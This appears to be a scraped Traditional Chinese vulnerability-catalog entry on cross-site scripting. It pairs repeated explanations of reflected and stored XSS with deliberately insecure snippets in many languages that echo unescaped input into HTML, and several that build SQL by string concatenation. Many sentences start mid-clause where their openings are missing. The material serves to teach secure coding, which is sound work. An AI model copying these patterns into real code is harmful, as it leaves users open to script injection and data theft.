eid = request->get_form_field( 'eid' ).
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( eid ).
...
Example 1 所述，如果 eid 只包含標準英數字元，這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。Example 1 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 2 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。
stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + name;
}
name 值正常運作時，此程式碼也會正常運作，但如果該值不正常運作時，則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險，是因為 name 值是從資料庫中讀取的，且顯然是由應用程式管理這些值的內容。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。eid，並將識別碼顯示給使用者。
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + eid;
...
Example 1 所述，如果 eid 只包含標準英數字元，這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。Example 1 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 2 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。
...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...
<div onclick="this.innerHTML='Hello {!variable}'">Click me!</div>
name 的值進行明確界定時 (例如，僅英數字元)，此程式碼會正常運作，但無法檢查惡意資料。即使該值讀取自資料庫，也應該對其進行適當驗證，因為資料庫的內容可能源自於使用者提供的資料。這樣一來，攻擊者可以在使用者的網頁瀏覽器中執行惡意指令，而無需與受害者進行互動 (類似於 Reflected XSS)。此類攻擊稱為 Stored XSS (或 Persistent XSS)，可能非常難以偵測，因為資料是以間接方式提供給易受攻擊的函數，並且由於影響多個使用者的可能性，此類攻擊的影響會更強烈。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。username，並向使用者顯示。
<script>
document.write('{!$CurrentPage.parameters.username}')
</script>
username 包含中繼字元或來源程式碼，則會由網頁瀏覽器執行。Example 1 所述，資料庫或其他資料儲存區會向應用程式提供將包含在動態內容中的危險資料。從攻擊者的角度來看，儲存惡意內容的最佳位置是可供所有使用者 (尤其是擁有較高權限的使用者) 存取的區域，這些使用者更有可能會處理敏感資訊或執行關鍵作業。Example 2 所述，會從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者將危險內容傳遞至易受攻擊的 Web 應用程式，然後回傳給使用者並透過其瀏覽器執行時，會出現 Reflected XSS。傳遞惡意內容最常用的機制就是，將惡意內容當作參數包含在公開發佈的 URL 中，或者以電子郵件方式直接傳送給受害者。透過此方式修改的 URL 是許多釣魚架構的核心，其中攻擊者會誘騙受害者造訪該 URL。當網站回傳內容給使用者後便會加以執行，並且可執行多個動作，例如轉送隱私、敏感的資訊、在受害者電腦上執行未經授權的作業等。
<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
</script>
EmployeeName 是定義如下的表單控制項：範例 2：以下 ASP.NET 程式碼片段的功能與之前的
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 1 相當，不過卻是以程式設計方式來實作所有的表單元素。
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
name 值正常運作時，這些程式碼範例也會正常運作，但如果該值不正常運作時，則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險，是因為 name 值是從資料庫中讀取的，且顯然是由應用程式管理這些值的內容。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。
<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>
Login 和 EmployeeID 是定義如下的表單控制項：範例 4：以下的 ASP.NET 程式碼片段會示範以程式設計方式來實作
<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 3。
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
Example 1 和 Example 2 所述，如果 Login 只包含標準英數字元，這些範例就會正確運作。如果 Login 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。Example 1 和 Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 3 和 Example 4 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。
...
EXEC SQL
SELECT NAME
INTO :ENAME
FROM EMPLOYEE
WHERE ID = :EID
END-EXEC.
EXEC CICS
WEB SEND
FROM(ENAME)
...
END-EXEC.
...
ENAME 值正常運作時，此範例中的程式碼也會正常運作，但如果該值不正常運作時，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 ENAME 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 ENAME 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這種類型的攻擊，被稱作 Stored XSS，是特別狡詐的，因為間接的資料儲存方式使得該威脅難以辨別，而且提高了該攻擊會影響到多個使用者的可能性。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。EID，並顯示給使用者。
...
EXEC CICS
WEB READ
FORMFIELD(ID)
VALUE(EID)
...
END-EXEC.
EXEC CICS
WEB SEND
FROM(EID)
...
END-EXEC.
...
Example 1 所述，如果 EID 只包含標準英數字元，這個程式碼會正確地執行。如果 EID 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。Example 1 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。當攻擊者有以下情況時，Stored XSS 攻擊就會出現： Example 2 所述，會直接從 HTML 表單中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。
<cfquery name="matchingEmployees" datasource="cfsnippets">
SELECT name
FROM Employees
WHERE eid = '#Form.eid#'
</cfquery>
<cfoutput>
Employee Name: #name#
</cfoutput>
name 值正常運作時，此範例中的程式碼也會正常運作，但如果該值不正常運作時，則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險，是因為 name 值是從資料庫中讀取的，且顯然是由應用程式管理這些值的內容。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。eid，並將其顯示給使用者。
<cfoutput>
Employee ID: #Form.eid#
</cfoutput>
Example 1 所述，如果 Form.eid 只包含標準英數字元，這個程式碼會正確地執行。如果 Form.eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。Example 1 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 2 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。user，並向使用者顯示。
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}
user 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 user 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果沒有對所有儲存在資料庫中的資料進行適當的輸入驗證，那麼攻擊者即可在使用者的網頁瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其極其隱蔽，會因為間接的資料儲存方式而難以辨別該威脅，並會提高影響多個使用者的可能性。XSS 弱點會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所示，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由網頁瀏覽器執行時，就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所示，應用程式會將危險資料儲存在資料庫或其他可信任的資料存放區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者執行需要權限許可的操作，或者取得存取使用者專屬敏感資料的權限。
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>
Employee Name: <%= name %>
name 值正常運作時，此程式碼也會正常運作，但如果該值不正常運作時，則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險，是因為 name 值是從資料庫中讀取的，且顯然是由應用程式管理這些值的內容。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。eid，並將其向使用者顯示。
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
Example 1 所述，如果 eid 只包含標準英數字元，這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...
url 的值以 javascript: 開頭，隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。Example 1 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 2 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 3 所述，應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料，且之後這些危險資料會被當作信賴的資料回讀到應用程式，並會包含在動態內容中。
var http = require('http');
...
function listener(request, response){
connection.query('SELECT * FROM emp WHERE eid="' + eid + '"', function(err, rows){
if (!err && rows.length > 0){
response.write('<p>Welcome, ' + rows[0].name + '!</p>');
}
...
});
...
}
...
http.createServer(listener).listen(8080);
name 值正常運作時，此程式碼也會正常運作，但如果該值不正常運作時，則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險，是因為 name 值是從資料庫中讀取的，且顯然是由應用程式管理這些值的內容。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。eid，並顯示給使用者。
var http = require('http');
var url = require('url');
...
function listener(request, response){
var eid = url.parse(request.url, true)['query']['eid'];
if (eid !== undefined){
response.write('<p>Welcome, ' + eid + '!</p>');
}
...
}
...
http.createServer(listener).listen(8080);
Example 1 所述，如果 eid 只包含標準英數字元，這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。Example 1 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 2 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。
...
val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...
name 值正常運作時，此程式碼也會正常運作，但如果該值不正常運作時，則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險，是因為 name 值是從資料庫中讀取的，且顯然是由應用程式管理這些值的內容。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。eid，然後在 servlet 的回應中向使用者顯示其值。
val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...
Example 1 所述，如果 eid 只包含標準英數字元，這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...
url 的值以 javascript: 開頭，隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。Example 1 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 2 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 3 所述，應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料，且之後這些危險資料會被當作信賴的資料回讀到應用程式，並會包含在動態內容中。name 值正常運作時，此程式碼也會正常運作，但如果該值不正常運作時，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。myapp://input_to_the_application) 並呼叫之。然後 URL 中不可信賴的資料便會被用來在 UIWebView 元件中攻擊 HTML 輸出。
...
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:partAfterSlashSlash baseURL:nil]
...
Example 1 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 2 所述，會直接從自訂 URL 架構讀取資料，並反映於 UIWebView 回應內容中。當攻擊者誘使使用者提供危險內容給易受攻擊的 iOS 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的自訂架構 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊應用程式的 URL。應用程式將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含工作階段資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。
<?php...
$con = mysql_connect($server,$user,$password);
...
$result = mysql_query("select * from emp where id="+eid);
$row = mysql_fetch_array($result)
echo 'Employee name: ', mysql_result($row,0,'name');
...
?>
